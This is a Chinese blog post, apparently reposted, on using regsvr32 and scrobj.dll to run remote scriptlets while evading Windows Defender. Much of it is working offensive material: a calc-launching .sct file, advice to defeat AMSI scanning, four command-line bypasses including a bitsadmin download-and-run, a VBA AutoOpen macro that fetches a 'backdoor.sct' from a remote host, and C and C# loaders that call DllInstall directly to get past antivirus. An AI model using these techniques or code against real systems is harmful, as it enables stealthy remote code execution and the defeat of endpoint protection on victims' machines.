zoukankan      html  css  js  c++  java
  • regsvr32 bypass windows defender 新思路

    原文链接:blog

    在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。

    命令语法如下:

    regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
    

    原理则是利用com组件的scriptlet注册方式,关于scriptlet的介绍可以参考MSDN,差不多就是用脚本形式实现com组件和asp互操作,但其实除了给asp调用之外还可以给其他.net组件调用。

    命令中的参数介绍:

    • /s: 静默模式,不弹框
    • /n: 不调用DllRegisterServer
    • /u: 卸载com组件
    • /i: 传给DllInstall的参数内容
    • scrobj.dll: com服务器,全名 Windows Script Component,DllInstall方法在这个组件中实现

    根据msdn关于DllInstall的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允许注册过程中dll进行一些自定义的安装过程,该过程在DllInstall中实现。

    该函数原型如下:

    HRESULT DllInstall(
      BOOL   bInstall,
      PCWSTR pszCmdLine
    );
    

    regsvr32中的/i参数指定的内容,会被直接传递到pszCmdLine,/u参数会将false传递到bInstall,所以对sct文件的调用肯定在scrobj.dll中的install过程。

    这么看,regsvr32只不过是负责调用dll的一个工具,可能还会有写入注册表的功能。

    理解到这里之后,我们在defender开启的情况下尝试一下这个方法,发现被拦截:

    报毒:Backdoor:JS/Relvelshe.A,看受影响项目是脚本文件,可能是脚本内容没有过amsi检测。
    文件内容:

    <?XML version="1.0"?>
    <component id="TESTING">
    <registration
      progid="TESTING"
      classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
      <script language="JScript">
        <![CDATA[
          var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
        ]]>
    </script>
    </registration>
    </component>
    

    经测试,将new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出来赋值给变量就没问题了(脚本内容太复杂不好改,也可以试试直接hook掉amsiscanbuffer)。

    在sct不被杀的情况下,再次执行regsvr32,仍然被拦截:Trojan:Win32/Powemet.A!attk

    从报毒中的cmdline可知检测的是命令行内容,所以在网上可找到的绕过姿势有四种(参考wh0ale):

    1. 改变scrobj.dll的名称
    copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
    
    1. 为scrobj.dll创建符号链接
    Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
    
    1. 利用NTFS ADS功能绕过
    type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
    
    1. 先将sct文件放到本地,然后执行
    bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
    Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
    

    经过上面分析,其实可以看出来其实可以不用regsvr32.exe,使用他的目的是因为他是windows自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用scrobj.dll的DllInstall方法实现代码执行。

    对于调用dll导出的函数,我首先想到的使用c实现:

    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <tchar.h>
    
    int main()
    {
        TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
        HMODULE hDllScr = LoadLibrary(dllpath);
        if (hDllScr == NULL)
        {
            puts("Load scrobj.dll fail!");
        }
        puts("Load scrobj.dll success!");
        printf("Address: %p\n", hDllScr);
        void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
        if (DllInstallProcAddr == NULL)
        {
            puts("Can not found DllInstall in scrobj.dll!");
        }
        printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
        //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
        ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
        return 0;
    }
    

    很不幸,在执行的时候一直报错:

    看这个原因和js有关系,但是无法具体确定哪里的原因,所以没想很多直接调试,对比regsvr32和他调用scrobj.dll的区别之处,最终发现到scrobj.dll的一处判断的地方没通过导致报错,貌似不是regsvr32做了什么暗箱操作。

    调了十多遍,也不知道那处判断是做什么的,休息了几天,重新回到这个问题:如何手动调用scrobj.dll对DllInstall传参?

    查了半天资料,终于看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中讲了两点内容:

    1. 如何不用regsvr32运行远程com脚本
    2. 在office宏中调用已经存在磁盘上的dll

    第一点正是我所需要的,看了之后发现这位大佬是在office宏中实现的,宏代码如下:

    Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
    
    Sub AutoOpen()
        DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
    End Sub
    

    看代码,和上面我用c写的代码差不多,但是本地在office中用宏测试了一下真的可行。

    经过一番思考,发现VB也是基于.net平台的,是不是这个原因,我用c写的肯定没有.net环境,改用c#试一下:

    using System;
    using System.Reflection;
    using System.Runtime.InteropServices;
    using System.ComponentModel;
    
    namespace scrobj_call_csharp
    {
        static class NativeMethod
        {
            [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
            public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
            public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
        }
    
        class Program
        {
            [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
            private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
    
            static void Main(string[] args)
            {
                const string dllPath = "scrxxobj.dll";
                IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
                if(hDllScr == IntPtr.Zero)
                {
                    var lasterror = Marshal.GetLastWin32Error();
                    var innerEx = new Win32Exception(lasterror);
                    innerEx.Data.Add("LastWin32Error", lasterror);
    
                    throw new Exception("Can't load Dll " + dllPath, innerEx);
                }
    
                IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
                DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
    
                fDllInstall(false, "http://127.0.0.1\\ttt.txt");
            }
        }
    }
    

    稍微麻烦一点,但是真的调用成功了。如此看来,使用C#或者其他基于.net的代码直接调用scrobj.dll绕过Defender也是可行的。


    经过查资料发现c也可以使用.net环境,在vs中新建一个clr空项目,将cpp文件添加上去编译即可!

  • 相关阅读:
    curl命令使用
    eclipse安装maven3
    【转】轻松搞定面试中的二叉树题目
    【转】轻松搞定面试中的链表题目
    CPP_运算符重载及友元
    CPP_template
    CPP基础
    CPP_封装_继承_多态
    CPP_类默认函数:构造函数,拷贝构造函数,赋值函数和析构函数
    CPP_const&static
  • 原文地址:https://www.cnblogs.com/cxccc/p/13804357.html
Copyright © 2011-2022 走看看